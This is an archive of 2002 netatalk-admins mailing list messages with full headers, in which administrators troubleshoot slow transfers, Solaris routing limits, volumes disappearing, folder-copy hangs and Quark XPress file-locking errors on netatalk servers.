Subject: Re: Netatalk slow as all get out
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id PAA07045

I had similar problems with my system at first too... it turned out to be a duplex mismatch between the server and the network.  Hence transfers would go fine one way but not the other.  In fact my symptoms were exactly the same as what you're describing...

Bryn


----------------------------------------------
Bryn Hughes
Macintosh/Linux Support
Information and Computing Services
Vancouver Community College

email:bhughes@vcc.bc.ca
ph: (604) 443-8702
Urgent: (604) 871-7007

From netatalk.administrators-errors@umich.edu  Wed Feb 27 16:00:46 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from vivalasvegas.mr.itd.umich.edu (vivalasvegas.mr.itd.umich.edu [141.211.125.91])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id QAA09069
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 27 Feb 2002 16:00:46 -0500 (EST)
Received: (from daemon@localhost)
	by vivalasvegas.mr.itd.umich.edu (3.6u) with LDAP id g1RL0kG13076
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 27 Feb 2002 16:00:46 -0500 (EST)
Received: (from daemon@localhost)
	by vivalasvegas.mr.itd.umich.edu (3.6u) with X.500 id g1RL0jW13070
	for netatalk.administrators-members@umich.edu; Wed, 27 Feb 2002 16:00:45 -0500 (EST)
Received: from keam1 (keam1.vcc.bc.ca [142.30.247.21])
	by vivalasvegas.mr.itd.umich.edu (3.6u) with SMTP id g1RL0i613060
	for <netatalk-admins@umich.edu>; Wed, 27 Feb 2002 16:00:44 -0500 (EST)
Received: from VCC-Message_Server by keam1
	with Novell_GroupWise; Wed, 27 Feb 2002 13:01:21 -0800
Message-Id: <sc7cd8a1.044@keam1>
X-Mailer: Novell GroupWise Internet Agent 5.5.4.1
Date: Wed, 27 Feb 2002 13:00:56 -0800
From: "Bryn Hughes" <bhughes@vcc.bc.ca>
Cc: <netatalk-admins@umich.edu>
Subject: Re: MacOS-X issues.
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id QAA09069

Hi Burkhard,

That quote was from someone else's message... my reply was that I couldn't reproduce the problem whoever it was was having and that mine is working fine.

Bryn


----------------------------------------------
Bryn Hughes
Macintosh/Linux Support
Information and Computing Services
Vancouver Community College

email:bhughes@vcc.bc.ca
ph: (604) 443-8702
Urgent: (604) 871-7007

From netatalk.administrators-errors@umich.edu  Wed Feb 27 16:34:00 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from lovemetender.mr.itd.umich.edu (lovemetender.mr.itd.umich.edu [141.211.14.31])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id QAA11824
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 27 Feb 2002 16:34:00 -0500 (EST)
Received: (from daemon@localhost)
	by lovemetender.mr.itd.umich.edu (3.6u) with LDAP id g1RLY0T27711
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 27 Feb 2002 16:34:00 -0500 (EST)
Received: (from daemon@localhost)
	by lovemetender.mr.itd.umich.edu (3.6u) with X.500 id g1RLXxw27708
	for netatalk.administrators-members@umich.edu; Wed, 27 Feb 2002 16:33:59 -0500 (EST)
Received: from modbee.com (mail.modbee.com [206.151.134.200])
	by lovemetender.mr.itd.umich.edu (3.6u) with ESMTP id g1RLXwG27692
	for <netatalk-admins@umich.edu>; Wed, 27 Feb 2002 16:33:58 -0500 (EST)
Received: from exchange.modbee.com ([172.17.52.18]) by gateway.modbee.com with ESMTP id <115207>; Thu, 28 Feb 2002 13:33:17 -0800
Received: from [172.17.54.66] (172.17.54.66 [172.17.54.66]) by exchange.modbee.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id 17KAZ1KC; Wed, 27 Feb 2002 13:33:36 -0800
User-Agent: Microsoft-Entourage/10.0.0.1309
Date: Wed, 27 Feb 2002 13:33:38 -0800
Subject: Frustrating problem..
From: Tyler Hardison <thardison@MODBEE.COM>
To: netatalk-admins <netatalk-admins@umich.edu>
Message-ID: <B8A290B2.A55%thardison@modbee.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Hi everyone:

Here is my problem, after about 3 - 4 days of running the netatalk server
"dies" (no the daemons are still running). What happens is, a client
attempts to connect to the server and they get a countdown then a message
claiming: No appletalk volumes found on server. (Paraphrased) So then I use
/etc/init.d/atalkd restart and bingo were in business.

Netatalk 1.5.2
Yellow Dog Linux 2.2 (PPC)

If anymore information is needed please let me know.. Thanks.

Tyler.

For the netatalk log go here:

http://jalopy.posixnap.net/netatalk.log


From netatalk.administrators-errors@umich.edu  Wed Feb 27 18:02:45 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from bluehawaii.mr.itd.umich.edu (bluehawaii.mr.itd.umich.edu [141.211.14.32])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id SAA18153
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 27 Feb 2002 18:02:45 -0500 (EST)
Received: (from daemon@localhost)
	by bluehawaii.mr.itd.umich.edu (3.6u) with LDAP id g1RN2jE23512
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 27 Feb 2002 18:02:45 -0500 (EST)
Received: (from daemon@localhost)
	by bluehawaii.mr.itd.umich.edu (3.6u) with X.500 id g1RN2jN23510
	for netatalk.administrators-members@umich.edu; Wed, 27 Feb 2002 18:02:45 -0500 (EST)
Received: from veggie.wesleyan.edu (veggie.stu.wesleyan.edu [129.133.130.26])
	by bluehawaii.mr.itd.umich.edu (3.6u) with ESMTP id g1RN2hL23485
	for <netatalk-admins@umich.edu>; Wed, 27 Feb 2002 18:02:43 -0500 (EST)
Received: by veggie.wesleyan.edu (Postfix, from userid 100)
	id 129292FF7; Wed, 27 Feb 2002 18:02:38 -0500 (EST)
Date: Wed, 27 Feb 2002 18:02:38 -0500
From: Ashton Trey Belew <trey@veggie.stu.wesleyan.edu>
To: netatalk-admins@umich.edu
Subject: little extra documentation
Message-ID: <20020227230238.GB21245@veggie.wesleyan.edu>
Reply-To: Ashton Trey Belew <abelew@wesleyan.edu>
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="bCsyhTFzCvuiizWE"
Content-Disposition: inline
User-Agent: Mutt/1.3.27i


--bCsyhTFzCvuiizWE
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

	Hello,
	Would anyone want a little documentation describing the series of
steps I performed in order to get netatalk-1.5.2 to work on Solaris in order
to make use of the DCE/DFS setup here at work through the good graces of
pam?  Once one knows the proper steps, it is pretty easy, but it took me
quite a while.
	Have a nice day,
	-Trey Belew
--=20
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Ashton Trey Belew
e-mail: trey@veggie.wesleyan.edu
http://veggie.wesleyan.edu/trey/=20
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
He who hates vices hates mankind.

--bCsyhTFzCvuiizWE
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE8fWWOF9UIceSIYeoRAqaaAJsGN+BWE3RWdlY695OuSocHLOE6UQCgijS/
1Q5rF16tUqoQZJhjMAvzQi4=
=nebS
-----END PGP SIGNATURE-----

--bCsyhTFzCvuiizWE--

From netatalk.administrators-errors@umich.edu  Wed Feb 27 18:22:01 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id SAA19407
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 27 Feb 2002 18:22:01 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (3.6u) with LDAP id g1RNM1c12384
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 27 Feb 2002 18:22:01 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (3.6u) with X.500 id g1RNM0R12382
	for netatalk.administrators-members@umich.edu; Wed, 27 Feb 2002 18:22:00 -0500 (EST)
Received: from quartz.dis.strath.ac.uk (quartz.dis.strath.ac.uk [130.159.120.5])
	by kidgalahad.mr.itd.umich.edu (3.6u) with ESMTP id g1RNLxf12362
	for <netatalk-admins@umich.edu>; Wed, 27 Feb 2002 18:21:59 -0500 (EST)
Received: from dis.strath.ac.uk (localhost [127.0.0.1])
	by quartz.dis.strath.ac.uk (8.11.0/8.11.0/2.7) with ESMTP id g1RNLrm04420;
	Wed, 27 Feb 2002 23:21:53 GMT
To: netatalk-admins@umich.edu
cc: iss033@bangor.ac.uk
Subject: Re: routing netatalk under Solaris
References: <Pine.SOL.4.30.0202271444520.26528-100000@publix>
Reply-To: sinclair@dis.strath.ac.uk
Date: Wed, 27 Feb 2002 23:21:53 +0000
Message-ID: <4417.1014852113@dis.strath.ac.uk>
From: Duncan Sinclair <sinclair@dis.strath.ac.uk>

Hi,

>we're running Solaris 8 and netatalk-1.5.2 and I'm failing to convince the
>machine to root across network interfaces. If I use CAP/uar it works, but
>we need to move away from CAP.

Bad news - netatalk on Solaris is incapable of routing.  The streams
driver never had that bit finished off.

I guess this is a good reason to look at Linux or one of the BSDs...

Cheers,


Duncan Sinclair.



From netatalk.administrators-errors@umich.edu  Thu Feb 28 03:08:40 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from lovemetender.mr.itd.umich.edu (lovemetender.mr.itd.umich.edu [141.211.14.31])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id DAA13145
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 28 Feb 2002 03:08:40 -0500 (EST)
Received: (from daemon@localhost)
	by lovemetender.mr.itd.umich.edu (3.6u) with LDAP id g1S88ek04862
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 28 Feb 2002 03:08:40 -0500 (EST)
Received: (from daemon@localhost)
	by lovemetender.mr.itd.umich.edu (3.6u) with X.500 id g1S88do04859
	for netatalk.administrators-members@umich.edu; Thu, 28 Feb 2002 03:08:39 -0500 (EST)
Received: from arena.delfi.lv (mail.parks.lv [195.2.96.15])
	by lovemetender.mr.itd.umich.edu (3.6u) with ESMTP id g1S88cG04847
	for <netatalk-admins@umich.edu>; Thu, 28 Feb 2002 03:08:38 -0500 (EST)
Received: from [192.168.0.18] (starlet.delfi.lv [195.114.46.32])
	by arena.delfi.lv (8.9.3/8.9.1/OL.cf-3.1) with SMTP id KAA04748;
	Thu, 28 Feb 2002 10:07:45 +0200
Message-Id: <200202280807.KAA04748@arena.delfi.lv>
Subject: Re: limitsize Problem - mounting disk image
Date: Thu, 28 Feb 2002 10:10:07 +0200
x-sender: andrei.verovski@mail.parks.lv
x-mailer: Claris Emailer 2.0v3, January 22, 1998
From: Andrei Verovski <andrei.verovski@parks.lv>
To: <netatalk-devel@lists.sourceforge.net>, <netatalk-admins@umich.edu>
cc: "Rene Rask" <rene@grain.dk>
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"

>If you don't need a lot of space, maybe mounting a file as a loopback
>filesystem could work.
>
>It doesn't really solve the problem, but might be a temporary workaround.

Hi, Rene,


Thanks for advice, but I am already tried that. The folder size showing 
correctly, but the problem remain. Copying (with 68k MacOS 8.1) to 
Netatalk volume works without any problems, copying folder from Netatalk 
volume hangs. It does not matter whether I am using pure AppleTalk or 
Appleshare through TCP/IP. The MacOS 8.1 install is not problematic, the 
same happen with clean 8.0.

PS. I have tried Netatalk 1.5pre7 and 1.5.0. May be I should switch to 
old 1.4b2 + ASUN?


with best regards

Andrei

From netatalk.administrators-errors@umich.edu  Thu Feb 28 04:01:41 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from lovemetender.mr.itd.umich.edu (lovemetender.mr.itd.umich.edu [141.211.14.31])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id EAA15744
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 28 Feb 2002 04:01:41 -0500 (EST)
Received: (from daemon@localhost)
	by lovemetender.mr.itd.umich.edu (3.6u) with LDAP id g1S91fF26353
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 28 Feb 2002 04:01:41 -0500 (EST)
Received: (from daemon@localhost)
	by lovemetender.mr.itd.umich.edu (3.6u) with X.500 id g1S91e426348
	for netatalk.administrators-members@umich.edu; Thu, 28 Feb 2002 04:01:40 -0500 (EST)
Received: from agnostix.bangor.ac.uk (agnostix.bangor.ac.uk [147.143.2.39])
	by lovemetender.mr.itd.umich.edu (3.6u) with ESMTP id g1S91dG26340
	for <netatalk-admins@umich.edu>; Thu, 28 Feb 2002 04:01:39 -0500 (EST)
Received: from dogmatix.bangor.ac.uk (dogmatix [147.143.2.239])
	by agnostix.bangor.ac.uk (8.12.1/8.12.1) with ESMTP id g1S91YOd011584;
	Thu, 28 Feb 2002 09:01:35 GMT
Received: from publix (publix [147.143.5.6])
	by dogmatix.bangor.ac.uk (8.11.6+Sun/8.9.3) with ESMTP id g1S91Yu03778;
	Thu, 28 Feb 2002 09:01:34 GMT
Date: Thu, 28 Feb 2002 09:01:34 +0000 (GMT)
From: "S.Barbaresi" <iss033@bangor.ac.uk>
X-Sender:  <iss033@publix>
To: Duncan Sinclair <sinclair@dis.strath.ac.uk>
cc: <netatalk-admins@umich.edu>
Subject: Re: routing netatalk under Solaris
In-Reply-To: <4417.1014852113@dis.strath.ac.uk>
Message-ID: <Pine.SOL.4.30.0202280859480.26528-100000@publix>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

> >we're running Solaris 8 and netatalk-1.5.2 and I'm failing to convince the
> >machine to root across network interfaces. If I use CAP/uar it works, but
>
> Bad news - netatalk on Solaris is incapable of routing.  The streams
> driver never had that bit finished off.

If this is the case, why do they give a Sun routing example in atalkd.conf

  #   A much more complicated example:
  #
  #       le0 -phase 1
  #       le1 -seed -phase 2 -addr 66.6 -net 66-67 -zone "No Parking"
  #
  #   This turns on transition routing between the le0 and le1
  #   interfaces on a Sun.  It also causes atalkd to fail if other
  #   routers disagree about it's configuration of le1.
  #


Sim

S.Barbaresi 					E-mail s.barbaresi@bangor.ac.uk
Computing Centre, UWB 				Tel (44) (01)248 382403 (ddi)
Sackville Road 					Fax (44) (01)248 383826 (ddi)
Bangor, Gwynedd LL57 1LD, UK


From netatalk.administrators-errors@umich.edu  Thu Feb 28 04:28:00 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from lovemetender.mr.itd.umich.edu (lovemetender.mr.itd.umich.edu [141.211.14.31])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id EAA16866
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 28 Feb 2002 04:28:00 -0500 (EST)
Received: (from daemon@localhost)
	by lovemetender.mr.itd.umich.edu (3.6u) with LDAP id g1S9S0206945
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 28 Feb 2002 04:28:00 -0500 (EST)
Received: (from daemon@localhost)
	by lovemetender.mr.itd.umich.edu (3.6u) with X.500 id g1S9S0w06940
	for netatalk.administrators-members@umich.edu; Thu, 28 Feb 2002 04:28:00 -0500 (EST)
Received: from dominolinux.adhoc-computing.com (dominolinux.adhoc-computing.com [212.68.210.132])
	by lovemetender.mr.itd.umich.edu (3.6u) with ESMTP id g1S9RxG06932
	for <netatalk-admins@umich.edu>; Thu, 28 Feb 2002 04:27:59 -0500 (EST)
Subject: Quark XPress File Locking - 1.5.1.1
To: <netatalk-admins@umich.edu>
X-Mailer: Lotus Notes Release 5.0.9a  January 7, 2002
Message-ID: <OFA28326FD.E31FD7B8-ONC1256B6E.00315E27-C1256B6E.0033F8DB@adhoc-computing.com>
From: japetit@adhoc-computing.com
Date: Thu, 28 Feb 2002 10:13:34 +0100
X-MIMETrack: Serialize by Router on dominolinux/Adhoc(Release 5.0.9 |November 16, 2001) at
 02/28/2002 10:13:38 AM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii

As I'm new in the list, I've no way to browse the archive...

Well, my problem could be resumed as this.

I installed version 1.5.2 (it is my first install) and encountered some
problems (bad eof in Photoshop docs).
I downgraded to 1.5.1 (with --enable-overwrite of config files for a new
install) wich fixed the Photoshop problem.

Then I get a new problem with Quark XPress.   Error -49. When you work on
an existing file on the server, you cannot write it back and you receive a
file locked error.

Is there a way to avoid this?


Regards


Jacques Petit
Brussels





From netatalk.administrators-errors@umich.edu  Thu Feb 28 05:06:16 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from vivalasvegas.mr.itd.umich.edu (vivalasvegas.mr.itd.umich.edu [141.211.125.91])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id FAA18393
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 28 Feb 2002 05:06:16 -0500 (EST)
Received: (from daemon@localhost)
	by vivalasvegas.mr.itd.umich.edu (3.6u) with LDAP id g1SA6Ga28596
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 28 Feb 2002 05:06:16 -0500 (EST)
Received: (from daemon@localhost)
	by vivalasvegas.mr.itd.umich.edu (3.6u) with X.500 id g1SA6GP28592
	for netatalk.administrators-members@umich.edu; Thu, 28 Feb 2002 05:06:16 -0500 (EST)
Received: from jeeves.local (ip68-4-79-169.oc.oc.cox.net [68.4.79.169])
	by vivalasvegas.mr.itd.umich.edu (3.6u) with ESMTP id g1SA6F628582
	for <netatalk-admins@umich.edu>; Thu, 28 Feb 2002 05:06:15 -0500 (EST)
Received: from [192.168.0.174] (t24.local [192.168.0.174])
	by jeeves.local (8.11.6/8.11.6) with ESMTP id g1SA61i18056;
	Thu, 28 Feb 2002 02:06:01 -0800
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Thu, 28 Feb 2002 02:05:26 -0800
Subject: Re: Quark XPress File Locking - 1.5.1.1
From: Steve Freitas <sflist@ihonk.com>
To: <japetit@adhoc-computing.com>, <netatalk-admins@umich.edu>
Message-ID: <B8A340E5.B6C1%sflist@ihonk.com>
In-Reply-To: <OFA28326FD.E31FD7B8-ONC1256B6E.00315E27-C1256B6E.0033F8DB@adhoc-computing.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Hi Jacques,

What version of OS/kernel? What version of AppleShare Client? What server
filesystem? What version of QuarkXPress? Is the client connecting via TCP/IP
or AppleTalk? What configure options were used when compiling Netatalk?

Steve

> From: japetit@adhoc-computing.com
> Date: Thu, 28 Feb 2002 10:13:34 +0100
> To: <netatalk-admins@umich.edu>
> Subject: Quark XPress File Locking - 1.5.1.1
> Resent-From: netatalk-admins@umich.edu
> Resent-Date: Thu, 28 Feb 2002 04:30:38 -0500 (EST)
> 
> As I'm new in the list, I've no way to browse the archive...
> 
> Well, my problem could be resumed as this.
> 
> I installed version 1.5.2 (it is my first install) and encountered some
> problems (bad eof in Photoshop docs).
> I downgraded to 1.5.1 (with --enable-overwrite of config files for a new
> install) wich fixed the Photoshop problem.
> 
> Then I get a new problem with Quark XPress.   Error -49. When you work on
> an existing file on the server, you cannot write it back and you receive a
> file locked error.
> 
> Is there a way to avoid this?
> 
> 
> Regards
> 
> 
> Jacques Petit
> Brussels
> 
> 
> 
> 
> 


From netatalk.administrators-errors@umich.edu  Thu Feb 28 05:51:05 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from vivalasvegas.mr.itd.umich.edu (vivalasvegas.mr.itd.umich.edu [141.211.125.91])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id FAA20147
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 28 Feb 2002 05:51:05 -0500 (EST)
Received: (from daemon@localhost)
	by vivalasvegas.mr.itd.umich.edu (3.6u) with LDAP id g1SAp5P15855
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 28 Feb 2002 05:51:05 -0500 (EST)
Received: (from daemon@localhost)
	by vivalasvegas.mr.itd.umich.edu (3.6u) with X.500 id g1SAp5715848
	for netatalk.administrators-members@umich.edu; Thu, 28 Feb 2002 05:51:05 -0500 (EST)
Received: from dominolinux.adhoc-computing.com (dominolinux.adhoc-computing.com [212.68.210.132])
	by vivalasvegas.mr.itd.umich.edu (3.6u) with ESMTP id g1SAp3615840
	for <netatalk-admins@umich.edu>; Thu, 28 Feb 2002 05:51:03 -0500 (EST)
Subject: Re: Quark XPress File Locking - 1.5.1.1
To: Steve Freitas <sflist@ihonk.com>
Cc: netatalk-admins@umich.edu
X-Mailer: Lotus Notes Release 5.0.9a  January 7, 2002
Message-ID: <OFB71B8430.4529BAF0-ONC1256B6E.0038BC13-C1256B6E.003B913E@adhoc-computing.com>
From: japetit@adhoc-computing.com
Date: Thu, 28 Feb 2002 11:36:32 +0100
X-MIMETrack: Serialize by Router on dominolinux/Adhoc(Release 5.0.9 |November 16, 2001) at
 02/28/2002 11:36:42 AM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii


Hi Steve,

Hereby you will find my config.

OS/Kernel : RedHat 7.2 / Kernel 2.4.7-10 (standard from RedHat)
AppleShare Client :  Appletalk FU 3-1.1 (standard from Mac OS 9.1)
Finder 9.1.1
Server FileSystem : Ext3 with journaling, RAID 5 on Adaptec 2100S, 3 x 36GB
IBM 15krpm
Quark XPress version : 4.11
Client connecting via Appletalk
No particular option during configure  ./configure
--with-message-dir=/var/log/atalk --enable-overwrite (as I downgraded from
1.5.2)

It seems there are no problem with other applications, nor with new files.
Only when modifying existing files on existing connnections.

Regards

Jacques



                                                                                                                                        
                      Steve Freitas                                                                                                     
                      <sflist@ihonk.com        To:       <japetit@adhoc-computing.com>, <netatalk-admins@umich.edu>                     
                      >                        cc:                                                                                      
                                               Subject:  Re: Quark XPress File Locking - 1.5.1.1                                        
                      28/02/2002 11:05                                                                                                  
                                                                                                                                        
                                                                                                                                        




Hi Jacques,

What version of OS/kernel? What version of AppleShare Client? What server
filesystem? What version of QuarkXPress? Is the client connecting via
TCP/IP
or AppleTalk? What configure options were used when compiling Netatalk?

Steve

> From: japetit@adhoc-computing.com
> Date: Thu, 28 Feb 2002 10:13:34 +0100
> To: <netatalk-admins@umich.edu>
> Subject: Quark XPress File Locking - 1.5.1.1
> Resent-From: netatalk-admins@umich.edu
> Resent-Date: Thu, 28 Feb 2002 04:30:38 -0500 (EST)
>
> As I'm new in the list, I've no way to browse the archive...
>
> Well, my problem could be resumed as this.
>
> I installed version 1.5.2 (it is my first install) and encountered some
> problems (bad eof in Photoshop docs).
> I downgraded to 1.5.1 (with --enable-overwrite of config files for a new
> install) wich fixed the Photoshop problem.
>
> Then I get a new problem with Quark XPress.   Error -49. When you work on
> an existing file on the server, you cannot write it back and you receive
a
> file locked error.
>
> Is there a way to avoid this?
>
>
> Regards
>
>
> Jacques Petit
> Brussels
>
>
>
>
>






From netatalk.administrators-errors@umich.edu  Thu Feb 28 10:32:37 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from lovemetender.mr.itd.umich.edu (lovemetender.mr.itd.umich.edu [141.211.14.31])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id KAA02773
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 28 Feb 2002 10:32:37 -0500 (EST)
Received: (from daemon@localhost)
	by lovemetender.mr.itd.umich.edu (3.6u) with LDAP id g1SFWbD03161
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 28 Feb 2002 10:32:37 -0500 (EST)
Received: (from daemon@localhost)
	by lovemetender.mr.itd.umich.edu (3.6u) with X.500 id g1SFWal03151
	for netatalk.administrators-members@umich.edu; Thu, 28 Feb 2002 10:32:36 -0500 (EST)
Received: from mta07-svc.ntlworld.com (mta07-svc.ntlworld.com [62.253.162.47])
	by lovemetender.mr.itd.umich.edu (3.6u) with ESMTP id g1SFWKG03002
	for <netatalk-admins@umich.edu>; Thu, 28 Feb 2002 10:32:36 -0500 (EST)
Received: from sibaz.com ([213.104.156.135]) by mta07-svc.ntlworld.com
          (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP
          id <20020228153209.WSRV22101.mta07-svc.ntlworld.com@sibaz.com>;
          Thu, 28 Feb 2002 15:32:09 +0000
Message-ID: <3C7E4BA9.97F8196A@sibaz.com>
Date: Thu, 28 Feb 2002 15:24:26 +0000
From: Simon Bazley <sibaz@sibaz.com>
X-Mailer: Mozilla 4.72 [en] (WinNT; I)
X-Accept-Language: en-GB,en,en-US
MIME-Version: 1.0
To: Andrei Verovski <andrei.verovski@parks.lv>
CC: netatalk-devel@lists.sourceforge.net, netatalk-admins@umich.edu,
        Rene Rask <rene@grain.dk>
Subject: Re: [Netatalk-devel] Re: limitsize Problem - mounting disk image
References: <200202280807.KAA04748@arena.delfi.lv>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

It might be worth a try, but I've yet to see anything that really works better in 1.4b2 than the current stuff (allowing for short term mistakes).  I used 1.5Pre6 in an office for 6 months without any problems.

Simon

Andrei Verovski wrote:

> >If you don't need a lot of space, maybe mounting a file as a loopback
> >filesystem could work.
> >
> >It doesn't really solve the problem, but might be a temporary workaround.
>
> Hi, Rene,
>
> Thanks for advice, but I am already tried that. The folder size showing
> correctly, but the problem remain. Copying (with 68k MacOS 8.1) to
> Netatalk volume works without any problems, copying folder from Netatalk
> volume hangs. It does not matter whether I am using pure AppleTalk or
> Appleshare through TCP/IP. The MacOS 8.1 install is not problematic, the
> same happen with clean 8.0.
>
> PS. I have tried Netatalk 1.5pre7 and 1.5.0. May be I should switch to
> old 1.4b2 + ASUN?
>
> with best regards
>
> Andrei
>
> _______________________________________________
> Netatalk-devel mailing list
> Netatalk-devel@lists.sourceforge.net
> https://lists.sourceforge.net/lists/listinfo/netatalk-devel


From netatalk.administrators-errors@umich.edu  Thu Feb 28 10:55:04 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id KAA04662
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 28 Feb 2002 10:55:04 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (3.6u) with LDAP id g1SFt4a14082
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 28 Feb 2002 10:55:04 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (3.6u) with X.500 id g1SFt3a14076
	for netatalk.administrators-members@umich.edu; Thu, 28 Feb 2002 10:55:03 -0500 (EST)
Received: from mail1.vcu.edu (mail1.vcu.edu [128.172.1.134])
	by kidgalahad.mr.itd.umich.edu (3.6u) with ESMTP id g1SFt3f14068
	for <netatalk-admins@umich.edu>; Thu, 28 Feb 2002 10:55:03 -0500 (EST)
Received: from [128.172.20.37] ([128.172.20.37])
	by mail1.vcu.edu (8.12.0/8.11.1) with ESMTP id g1SFsxI3238572
	for <netatalk-admins@umich.edu>; Thu, 28 Feb 2002 10:54:59 -0500
Mime-Version: 1.0
X-Sender: rethiema@mail1.vcu.edu (Unverified)
Message-Id: <a05101401b8a4033ca02c@[128.172.20.37]>
Date: Thu, 28 Feb 2002 10:54:59 -0500
To: netatalk-admins@umich.edu
From: Robert Thiemann <rethiema@vcu.edu>
Subject: Re: Quark XPress File Locking - 1.5.1.1
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

>What version of OS/kernel? What version of AppleShare Client? What server
>filesystem? What version of QuarkXPress? Is the client connecting via TCP/IP
>or AppleTalk? What configure options were used when compiling Netatalk?

I have the same problem, but it's intermittent. And my situation is a 
little different.

I just did a Fresh install of RH7.2 with netatalk 1.5.1.1 installed via RPM.

OS/Kernel:  Linux version 2.4.7-10smp
AppleShare:  3.8.8 (standard 9.1 install)
Server Filesystem:  EXT3
QuarkXpress Version:  4.11
Client:  Connects via chooser, but auto-negotiates to connect via TCP/IP
Options:  Dunno. Installed via RPM.

A user found this, and it's not consistent. He opened a Quark 
Document, worked on it, closed it. Opened it later, worked on it it, 
saved it. Printed it. Then when he went to save it again, he got the 
error.

And that's all I have.
-- 
Robert Thiemann
Network Engineer
VCU Adcenter
rethiema@vcu.edu

From netatalk.administrators-errors@umich.edu  Thu Feb 28 11:22:29 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from vivalasvegas.mr.itd.umich.edu (vivalasvegas.mr.itd.umich.edu [141.211.125.91])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id LAA06362
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 28 Feb 2002 11:22:28 -0500 (EST)
Received: (from daemon@localhost)
	by vivalasvegas.mr.itd.umich.edu (3.6u) with LDAP id g1SGMSK06616
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 28 Feb 2002 11:22:28 -0500 (EST)
Received: (from daemon@localhost)
	by vivalasvegas.mr.itd.umich.edu (3.6u) with X.500 id g1SGMSQ06612
	for netatalk.administrators-members@umich.edu; Thu, 28 Feb 2002 11:22:28 -0500 (EST)
Received: from abcs.com ([206.160.232.150])
	by vivalasvegas.mr.itd.umich.edu (3.6u) with ESMTP id g1SGMR606601
